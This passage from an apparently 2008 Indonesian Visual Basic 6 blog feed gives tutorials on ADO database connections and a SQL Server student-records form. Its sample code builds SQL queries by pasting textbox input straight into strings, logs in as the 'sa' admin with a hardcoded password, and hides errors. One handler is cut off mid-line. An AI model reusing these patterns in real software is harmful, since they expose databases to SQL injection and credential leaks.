/&gt;&lt;/a&gt;&lt;br /&gt;2. Bagaimana? Sudah &lt;st1:state&gt;&lt;st1:place&gt;kan&lt;/st1:place&gt;&lt;/st1:state&gt;? Selanjutnya kita akan beralih ke VB 6 dan hal pertama yang harus dibuat adalah modul koneksi dengan database.&lt;br /&gt;3. Buka Project baru VB6 dan tambahkan satu modul ke dalamnya kemudian ketikkan kode berikut :&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Public koneksi as adodb.connection&lt;br /&gt;Public sub konekdb()&lt;br /&gt;Set koneksi=new ADODB.connection&lt;br /&gt;With koneksi&lt;br /&gt;.CommandTimeout = 300&lt;br /&gt;.CursorLocation = adUseClient&lt;br /&gt;.ConnectionString = strCon&lt;br /&gt;.Open "Provider=SQLOLEDB.1;" &amp;amp; _&lt;br /&gt;"Data Source=(local);" &amp;amp; _&lt;br /&gt;"Initial Catalog=sekolah;" &amp;amp; _&lt;br /&gt;"User ID=sa;" &amp;amp; _&lt;br /&gt;"Password=passwordsauser;" &amp;amp; _&lt;br /&gt;"Persist Security Info=True;" &amp;amp; _&lt;br /&gt;"OLE DB Services = -2;"&lt;br /&gt;End With&lt;br /&gt;If err.Number Then&lt;br /&gt;MsgBox "Gagal menghubungi komputer Inven!" &amp;amp; vbNewLine &amp;amp; err.Description, vbOKOnly + vbCritical&lt;br /&gt;Exit sub&lt;br /&gt;End If&lt;br /&gt;End sub&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;O ya.. tambahkan juga reference Microsoft ActiveX Data Objects 2.x Library&lt;br /&gt;4. Tambahkan modul satu lagi untuk menampung kode state form dan kodenya :&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Public Enum FormState&lt;br /&gt;adStateAddMode = 0&lt;br /&gt;adStateEditMode = 1&lt;br /&gt;adStatePopupMode = 2&lt;br /&gt;End Enum&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;5. Kalau sudah kita buka form1 dan letakkan beberapa komponen diantaranya&lt;br /&gt;-1 listview&lt;br /&gt;-5 textbox&lt;br /&gt;-6 command button&lt;br /&gt;-1 masked box&lt;br /&gt;dengan default name nya aja dan atur posisinya seperti ini&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_-AOnnKUhRdY/SMX75WBw6KI/AAAAAAAAAGM/KRfZR4DnxlY/s1600-h/untitled.bmp"&gt;&lt;span style="text-decoration: none;"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shape id="BLOGGER_PHOTO_ID_5243874303726905506" spid="_x0000_i1026" type="#_x0000_t75" alt="" href="http://1.bp.blogspot.com/_-AOnnKUhRdY/SMX75WBw6KI/AAAAAAAAAGM/KRfZR4DnxlY/s1600-h/untitled.bmp" style="'width:240pt;height:199.5pt'" button="t"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\gw_mlg\LOCALS~1\Temp\msohtml1\01\clip_image002.jpg" href="http://1.bp.blogspot.com/_-AOnnKUhRdY/SMX75WBw6KI/AAAAAAAAAGM/KRfZR4DnxlY/s320/untitled.bmp"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/SToIMt1KbTI/AAAAAAAAABw/GriqGauf6uc/s1600-h/untitled2.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 266px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/SToIMt1KbTI/AAAAAAAAABw/GriqGauf6uc/s320/untitled2.bmp" alt="" id="BLOGGER_PHOTO_ID_5276538927971986738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;6. Create satu active report dengan klik kanan pada project1 pilih add--&gt; Data Dynamics ActiveReports2.0 kemudian tambahkan komponen sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_-AOnnKUhRdY/SMX_bZlOh5I/AAAAAAAAAGU/n-AYdNgEGvI/s1600-h/tabel2.JPG"&gt;&lt;span style="text-decoration: none;"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shape id="BLOGGER_PHOTO_ID_5243878187331389330" spid="_x0000_i1027" type="#_x0000_t75" alt="" href="http://3.bp.blogspot.com/_-AOnnKUhRdY/SMX_bZlOh5I/AAAAAAAAAGU/n-AYdNgEGvI/s1600-h/tabel2.JPG" style="'width:240pt;height:65.25pt'" button="t"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\gw_mlg\LOCALS~1\Temp\msohtml1\01\clip_image003.jpg" href="http://3.bp.blogspot.com/_-AOnnKUhRdY/SMX_bZlOh5I/AAAAAAAAAGU/n-AYdNgEGvI/s320/tabel2.JPG"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eGS0YABgxQo/SToIhIflYhI/AAAAAAAAAB4/hh5Tuk74PmU/s1600-h/untitled3.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 315px; height: 87px;" src="http://2.bp.blogspot.com/_eGS0YABgxQo/SToIhIflYhI/AAAAAAAAAB4/hh5Tuk74PmU/s320/untitled3.bmp" alt="" id="BLOGGER_PHOTO_ID_5276539278726619666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Dan beberapa label seperti pada gambar ini :&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_-AOnnKUhRdY/SMYAR7wgTJI/AAAAAAAAAGc/gbufdO_V8XA/s1600-h/report.JPG"&gt;&lt;span style="text-decoration: none;"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shape id="BLOGGER_PHOTO_ID_5243879124218432658" spid="_x0000_i1028" type="#_x0000_t75" alt="" href="http://4.bp.blogspot.com/_-AOnnKUhRdY/SMYAR7wgTJI/AAAAAAAAAGc/gbufdO_V8XA/s1600-h/report.JPG" style="'width:240pt;height:105.75pt'" button="t"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\gw_mlg\LOCALS~1\Temp\msohtml1\01\clip_image004.jpg" href="http://4.bp.blogspot.com/_-AOnnKUhRdY/SMYAR7wgTJI/AAAAAAAAAGc/gbufdO_V8XA/s320/report.JPG"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/SToI8wzxXTI/AAAAAAAAACA/ohjjUcG18cU/s1600-h/untitled4.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 141px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/SToI8wzxXTI/AAAAAAAAACA/ohjjUcG18cU/s320/untitled4.bmp" alt="" id="BLOGGER_PHOTO_ID_5276539753405177138" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;7. Kemudian pada form1 ketikkan kode berikut :&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Dim WithEvents rs As ADODB.Recordset&lt;br /&gt;Public state As FormState&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;kosongfield&lt;br /&gt;releasefield&lt;br /&gt;Text1.SetFocus&lt;br /&gt;SetButtons False&lt;br /&gt;Me.state = adStateAddMode&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;releasefield&lt;br /&gt;SetButtons False&lt;br /&gt;Me.state = adStateEditMode&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;Dim strsqldel As String&lt;br /&gt;On Error Resume Next&lt;br /&gt;strsqldel = "delete from tblsiswa where nis='" &amp;amp; ListView1.SelectedItem.Text &amp;amp; "'"&lt;br /&gt;If ListView1.SelectedItem.Text = "" Then&lt;br /&gt;MsgBox "Tidak ada rekord yang akan dihapus", vbInformation, "Informasi"&lt;br /&gt;Else&lt;br /&gt;X = MsgBox("Apakah anda yakin ingin menghapus data secara permanen? ", vbExclamation + vbYesNo, "konfirmasi")&lt;br /&gt;If X = vbYes Then&lt;br /&gt;koneksi.Execute strsqldel&lt;br /&gt;rs.Requery&lt;br /&gt;Call Form_Load&lt;br /&gt;Else&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command4_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;If Me.state = adStateAddMode Then&lt;br /&gt;strkueri = "insert into tblsiswa values('" &amp;amp; Text1.Text &amp;amp; "', " &amp;amp; _&lt;br /&gt;" '" &amp;amp; Text2.Text &amp;amp; "'," &amp;amp; _&lt;br /&gt;" '" &amp;amp; Text3.Text &amp;amp; "'," &amp;amp; _&lt;br /&gt;" '" &amp;amp; Me.MaskEdBox1.Text &amp;amp; "'," &amp;amp; _&lt;br /&gt;" '" &amp;amp; Text5.Text &amp;amp; "')"&lt;br /&gt;pesan = "Data berhasil ditambahkan"&lt;br /&gt;ElseIf Me.state = adStateEditMode Then&lt;br /&gt;strkueri = "update tblsiswa set nis='" &amp;amp; Text1.Text &amp;amp; "'," &amp;amp; _&lt;br /&gt;" nama= '" &amp;amp; Text2.Text &amp;amp; "', " &amp;amp; _&lt;br /&gt;" tempat_lahir='" &amp;amp; Text3.Text &amp;amp; "'," &amp;amp; _&lt;br /&gt;" tanggal_lahir= '" &amp;amp; MaskEdBox1.Text &amp;amp; "'," &amp;amp; _&lt;br /&gt;" agama= '" &amp;amp; Text5.Text &amp;amp; "'where nis='" &amp;amp; ListView1.SelectedItem.Text &amp;amp; "'"&lt;br /&gt;pesan = "Data berhasil diedit"&lt;br /&gt;End If&lt;br /&gt;koneksi.Execute strkueri&lt;br /&gt;MsgBox "" &amp;amp; pesan, vbInformation, "Informasi"&lt;br /&gt;'refreshrekord&lt;br /&gt;SetButtons True&lt;br /&gt;Call Form_Load&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command5_Click()&lt;br /&gt;Call Form_Load&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command6_Click()&lt;br /&gt;End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command7_Click()&lt;br /&gt;With ActiveReport1.DataControl1&lt;br /&gt;.CursorLocation = koneksi.CursorLocation&lt;br /&gt;.CursorType = ddADOOpenDynamic&lt;br /&gt;.ConnectionString = koneksi.ConnectionString&lt;br /&gt;.Source = "select * from tblsiswa"&lt;br /&gt;End With&lt;br /&gt;ActiveReport1.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;On Error Resume Next&lt;br /&gt;konekdb&lt;br /&gt;Set rs = New ADODB.Recordset&lt;br /&gt;rs.Open "select * from tblsiswa", koneksi&lt;br /&gt;ListView1.ListItems.Clear&lt;br /&gt;If rs.RecordCount &lt;&gt; 0 Then&lt;br /&gt;filltext&lt;br /&gt;isilist&lt;br /&gt;kuncifield&lt;br /&gt;SetButtons True&lt;br /&gt;Else&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;Sub filltext()&lt;br /&gt;Text1.Text = rs!nis&lt;br /&gt;Text2.Text = rs!nama&lt;br /&gt;Text3.Text = rs!tempat_lahir&lt;br /&gt;MaskEdBox1.Mask = ""&lt;br /&gt;Me.MaskEdBox1.Text = rs!tanggal_lahir&lt;br /&gt;Text5.Text = rs!agama&lt;br /&gt;Dim ListVwItem As MSComctlLib.ListItem&lt;br /&gt;Dim Value As String&lt;br /&gt;Dim Value2 As String&lt;br /&gt;Value = rs!nis&lt;br /&gt;For Each ListVwItem In ListView1.ListItems&lt;br /&gt;If Trim(ListVwItem.Text) = Trim(Value) Then 'find complete words&lt;br /&gt;ListVwItem.Selected = True&lt;br /&gt;ListVwItem.EnsureVisible&lt;br /&gt;Exit For&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;End Sub&lt;br /&gt;Sub isilist()&lt;br /&gt;On Error Resume Next&lt;br /&gt;With rs&lt;br /&gt;For i = 0 To rs.Fields.Count&lt;br /&gt;ListView1.ColumnHeaders.Add i + 1, , rs.Fields(i).Name&lt;br /&gt;Next i&lt;br /&gt;.MoveFirst&lt;br /&gt;Do While Not .EOF&lt;br /&gt;Set LI = ListView1.ListItems.Add(, , Trim(!nis))&lt;br /&gt;LI.SubItems(1) = Trim(!nama)&lt;br /&gt;LI.SubItems(2) = Trim(!tempat_lahir)&lt;br /&gt;LI.SubItems(3) = Trim(!tanggal_lahir)&lt;br /&gt;LI.SubItems(4) = Trim(!agama)&lt;br /&gt;.MoveNext&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;End With&lt;br /&gt;End Sub&lt;br /&gt;Sub kosongfield()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim txt As Control&lt;br /&gt;'clear the text boxes&lt;br /&gt;For Each txt In Me&lt;br /&gt;If TypeOf txt Is TextBox Then txt.Text = ""&lt;br /&gt;Next&lt;br /&gt;Me.MaskEdBox1.Text = ""&lt;br /&gt;MaskEdBox1.Mask = "##/##/####"&lt;br /&gt;End Sub&lt;br /&gt;Sub kuncifield()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim txt As Control&lt;br /&gt;'Locked the text boxes&lt;br /&gt;For Each txt In Me&lt;br /&gt;If TypeOf txt Is TextBox Then txt.Locked = True&lt;br /&gt;Next&lt;br /&gt;Me.MaskEdBox1.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;Sub releasefield()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim txt As Control&lt;br /&gt;'UnLocked the text boxes&lt;br /&gt;For Each txt In Me&lt;br /&gt;If TypeOf txt Is TextBox Then txt.Locked = False&lt;br /&gt;Next&lt;br /&gt;Me.MaskEdBox1.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;Sub SetButtons(bVal As Boolean)&lt;br /&gt;Command1.Visible = bVal&lt;br /&gt;Command2.Visible = bVal&lt;br /&gt;Command4.Visible = Not bVal&lt;br /&gt;Command5.Visible = Not bVal&lt;br /&gt;Command3.Visible = bVal&lt;br /&gt;Command6.Visible = bVal&lt;br /&gt;Command7.Visible = bVal&lt;br /&gt;End Sub&lt;br /&gt;Private Sub ListView1_ItemClick(ByVal Item As MSComctlLib.ListItem)&lt;br /&gt;Dim Item2 As ListItem&lt;br /&gt;Set Item2 = ListView1.ListItems.Item(ListView1.SelectedItem.Index)&lt;br /&gt;rs.MoveFirst&lt;br /&gt;'Text1 = UCase(Trim(Text1))&lt;br /&gt;'msgbox""&amp;amp;&lt;br /&gt;rs.Find (" nis = '" &amp;amp; Me.ListView1.SelectedItem &amp;amp; "'")&lt;br /&gt;If rs.AbsolutePosition &gt; 0 Then&lt;br /&gt;filltext&lt;br /&gt;ElseIf rs.AbsolutePosition &lt;&gt;  &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;8. Yang terakhir ketik kode berikut pada active report&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Private Sub PageFooter_BeforePrint()&lt;br /&gt;Me.lblpage.Caption = Me.pageNumber&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub ReportHeader_BeforePrint()&lt;br /&gt;lbldate.Caption = "Di cetak tanggal : " &amp;amp; Format(Date, "dd/mm/yyyy")&lt;br /&gt;End Sub&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-1018651162115777770?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/1018651162115777770/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=1018651162115777770' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1018651162115777770'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1018651162115777770'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/visual-basic-sql-server-active-report.html' title='visual basic + sql server + active report'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eGS0YABgxQo/SToHsHbuY2I/AAAAAAAAABo/geXApiYZOVM/s72-c/untitled.bmp' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-7593888448607168803</id><published>2008-11-28T13:23:00.001+07:00</published><updated>2008-11-28T13:24:50.079+07:00</updated><title type='text'>Koneksi dengan database</title><content type='html'>&lt;span style="font-family: 'Century Gothic';"&gt;Untuk dapat mengakses suatu database dari visual basic, Anda harus membuat koneksi &lt;span&gt; &lt;/span&gt;ke database tersebut. Visual basic dapat menangani berbagai database, teks bakan worksheet excel. Terdapat beberapa cara yang tersedia untuk itu sesuai dengan database yang digunakan&lt;span id="more-148"&gt;&lt;/span&gt;&lt;/span&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Cara 1. Menggunakan Object ADO&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Anda dapat menggunakan icon Adodc (Microsoft ActiveX Data Objects Data Control) pada toolbox. Jika pada toolbox tidak terdapat icon Adodc, Anda dapat menambahkannya dengan memilih menu Project, Components (Ctrl+T) lalu beri tanda pilih pada Microsoft ADO Data Control (OLEDB) dan klik Apply. &lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Sekarang kita akan mencoba mengaitkan database Ms. Acess yang diberi nama Pembelian.mdb. Untuk itu, lakukan langkah-langkah sebagai berikut:&lt;/span&gt;&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Pilih menu File lalu New.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Pilih VB Enterprise (Professional) Edition Controls.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Klik OK.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Klik ganda pada folder Forms pada jendela proyek lalu klik ganda pada Form 1 sampai muncul tampilan form.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Klik icon Adodc pada toolbox.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Klik dan seret pada jendela form, sehingga muncul tampilan seperti Gb. Objek yang tergambar dalam form disebut objek data.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Tentukan properti data sebagai berikut:&lt;/span&gt; &lt;ol&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Name db&lt;span&gt;         &lt;/span&gt;Pembelian&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Caption           &lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Data Barang&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;EO&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;FAcction &lt;span&gt;   &lt;/span&gt;2&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Tentukan properti ConnectionString dengan cara mengklik tombol … pada kolom ConnectionString sehingga muncul tam pilan seperti pada Gb&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Pilih OptionButton pada Use Connection String lalu klik Build sehingga muncul tampilan seperti pada Gb &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Pilih Microsoft Jet 4.0 OLEDB Provider lalu klik Next.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Pilih (dengan mengklik tombol …) atau ketik nama database yang dipakai pada kolom Select or enter a database name.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Klik Test Connection jika perlu, lalu kllk OK dua kali sampai tampilan kembali ke jendela Form.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Tentukan properti RecordSource dengan cara mengklik tombol pada kolom RecordSource sehingga muncul tampilan seperti pada Gb&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Pada kolom Command Type pilih 2-adCmdTable. Setelah kolom ini diisi, maka Anda akan dapat mengisi kolom Table or Stored Procedure Name. lsilah dengan memilib tabel Barang seperti pada Gb&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Klik OK.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Simpan form dan proyek dengan nama VB-Lat-01&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Cara 2: Mendeklarasikan Objek Ado&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Object ado dapat dideklarasi melalui coding. Tiga object bawaan ADO dalam pengembangan aplikasi adalah :&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;1. Obcet Connection &lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;untuk menangani koneksi antara program dengan sumber data atau server. Deklarasi dapat bersifat lokal maupun global serta dapat diletakan pada level form, modul atau class modul. &lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-size:85%;"&gt;ADO paling umum membuka suatu koneksi dengan menggunakan obyek Connection Open metoda. Sintaks untuk Metoda Open ditunjukkan sbb: &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-size:85%;"&gt;Dim connection as New ADODB.Connection&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-size:85%;"&gt;connection.&lt;code&gt;&lt;strong&gt;Open&lt;/strong&gt;&lt;/code&gt; &lt;em&gt;ConnectionString&lt;/em&gt;, &lt;em&gt;UserID&lt;/em&gt;, &lt;em&gt;Password&lt;/em&gt;, &lt;em&gt;OpenOptions&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Sebagai alternatif, anda dapat menggunakan teknik pintas, &lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;recordset.Open, untuk membuka koneksi yang tersembunyi dan mengeluarkan suatu perintah atas koneksi dalam satu operasi. Lakukan hal ini dengan mengaktivkan suatu koneksi yang valid seperti argumentasi ActiveConnection ke Metoda Open. Ini adalah sintaksis untuk masing-masing metoda di Visual Basic: &lt;/span&gt;&lt;/p&gt;  &lt;blockquote&gt;&lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Dim recordset as ADODB.Recordset Set &lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;recordset = New ADODB.Recordset &lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;recordset.&lt;code&gt;&lt;strong&gt;Open&lt;/strong&gt;&lt;/code&gt; &lt;em&gt;Source&lt;/em&gt;, &lt;em&gt;ActiveConnection&lt;/em&gt;, &lt;em&gt;CursorType&lt;/em&gt;, &lt;em&gt;LockType&lt;/em&gt;, &lt;em&gt;Options&lt;/em&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Contoh :&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Deklarasi object Connection:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     Dim cn As New ADODB.Connection&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;atau&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     Public cn As New ADODB.connection&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Selanjutnya mengalokasikan memori untuk onject connection sbb:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     Set cn = New ADODB.Connection&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Kemudian isi property object connoction tersebut sbb:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Contoh berikut adalah property untuk MSSQL Server&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     cn.connectionString = “Perovider=SQLOLEDB;” &amp;amp; _&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                                                 ”Server=NamaServer; ” &amp;amp; _&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                                                “Initial catalog= inventory” &amp;amp; _&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                                               “user Id = zulidamel” _&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                                              “Password=terserah”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     cn.Open&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;atau&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;    koneksi =  “Perovider=SQLOLEDB;” &amp;amp; _&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                       ”Server=NamaServer; ” &amp;amp; _&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                       “Initial catalog= inventory” &amp;amp; _&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                       “user Id = zulidamel” _&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                       “Password=terserah”&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;cn.Open &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;koneksi &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 